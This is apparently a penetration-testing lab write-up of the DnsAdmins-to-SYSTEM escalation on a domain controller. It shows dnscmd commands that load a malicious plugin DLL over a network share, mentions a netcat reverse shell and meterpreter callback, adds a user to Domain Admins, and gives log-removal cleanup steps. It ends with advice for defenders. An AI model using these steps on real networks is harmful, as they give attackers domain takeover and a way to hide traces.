In this lab I'm trying to get code execution with
SYSTEM level privileges on a DC that runs a DNS service as originally researched by Shay Ber here.
The attack relies on a DLL injection into the dns service running as SYSTEM on the DNS server which most of the time is on a Domain Contoller.
For the attack to work, we need to have compromised a user that belongs to a
DnsAdmins group on a domain. Luckily, our user
spotless already belongs to the said group:
net user spotless /domain
As mentioned earlier, we need to build a DNS plugin DLL that we will be injecting into a dns.exe process on a victim DNS server (DC). Below is a screenshot of the DLL exported functions that are expected by the dns.exe binary when loading a plugin DLL. I have also added a simple system command to invoke a netcat reverse shell once the plugin is initialized and code is executed.
I then tested the function with rundll32 as shown below, which returned a reverse shell to my attacking machine - code gets executed, shell gets spawned:
Now that we have the DLL and we checked that it is working, we can ask the victim
DC01 to load our malicious DLL (from the victim controlled network share on host 10.0.0.2) next time the service starts (or when the attacker restarts it):
firstname.lastname@example.orgOfDnsAdminsdnscmd dc01 /config /serverlevelplugindll \\10.0.0.2\tools\dns-priv\dnsprivesc.dll
The below looks promising and suggests the request to load our malicious DLL was successful:
The below command on the victim further suggests that our request was successful and the registry value
ServerLevelPluginDll points to our malicious DLL:
# note that as attacker you cannot check this on a DC since you do not have yet access to the system. Because this is a lab environment, I am checking the registry from the DC itself.Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
Now the next time dns service starts, our malicious DLL should be loaded to the dns.exe process and a reverse shell should be sent back to our attacking system, so let's go and restart the DNS service:
email@example.com \\dc01 stop dnssc.exe \\dc01 start dns
By this point, I should have received a reverse shell, but unfortunately, I did not.
After checking the DNS logs on the
DC01 I saw the below error, suggesting there was something off with my DLL:
I tried exporting functions with C++ name mangling and without and although the DLL exports seemed to be OK per CFF Explorer, I was still not able to make the DC load my malicious DLL successfully without corrupting the dns service:
Since I could not get my malicious DLL injected into the dns.exe successfully, I thought of trying to inject the meterpreter payload using the same technique.
It can be observed, that the DLL with meterpreter payloads gets ineed loaded and we receive a call back attempt from meterpreter, but since the DLL does not conform to the required format (does not have required exported functions), the session dies immediately (or this is what I thought initially - as you will later see, it turns out I was simply using a wrong listener):
Since the above suggests that the the DLL code still got executed, we can try asking the DLL to execute the following on the DC:
net group 'domain admins' spotless /add /domain
Before restarting the DNS service and getting our malicious DLL executed, let's make sure our attacking user
spotless is not in
Domain Admins group:
Now if we restart the DNS service which will load our
addDA.dll, we see that the user
spotless is now a member of the
Below confirms that the dns service is down, however we can still access the DC C$ share by DC's IP from our spotless user, meaning that we have escalated privileges to DA:
One could think about scripting/automating the after-attack cleanup and the DNS service restoration and include the required code in the same malicious DLL that creates a backdoor user in the first place:
attacker@victimreg query \\10.0.0.6\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parametersreg delete \\10.0.0.6\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDllsc.exe \\10.0.0.6 stop dnssc.exe \\10.0.0.6 start dns//remove any other traces/logs
Once the DNS service is restored, we can now access the C$ using DC01 computer name:
It turns out that the reason the meterpreter payload failed because of a classic mistake of not using the right listener for staged/non-staged payloads - always double check your payloads and make sure that the listeners are able to handle the callbacks.
Once I set up the listener correctly, the meterpreter shell came back as expected - note that the dns.exe service still gets corrupted.
As a defender, one should considering monitoring for suspicious child processes (rundll32, powershell, cmd, net, etc.) spawned by the dns.exe on DCs:
Also, you may want to consider monitoring
ServerLevelPluginDll, especially if it begins with string
\\ in the data field.
I was pointed out by a reader that a video by ippsec https://youtu.be/8KJebvmd1Fk?t=3130 explains why the dns service was crashing, so please check the video, but if you are too lazy, the answer is provided here too.
You need to execute your code in a new thread (this was the missing piece in my first attempt) in the exported DLL function
DnsPluginInitialize, which is the function that gets invoked, when the dnscmd load our malicious DLL.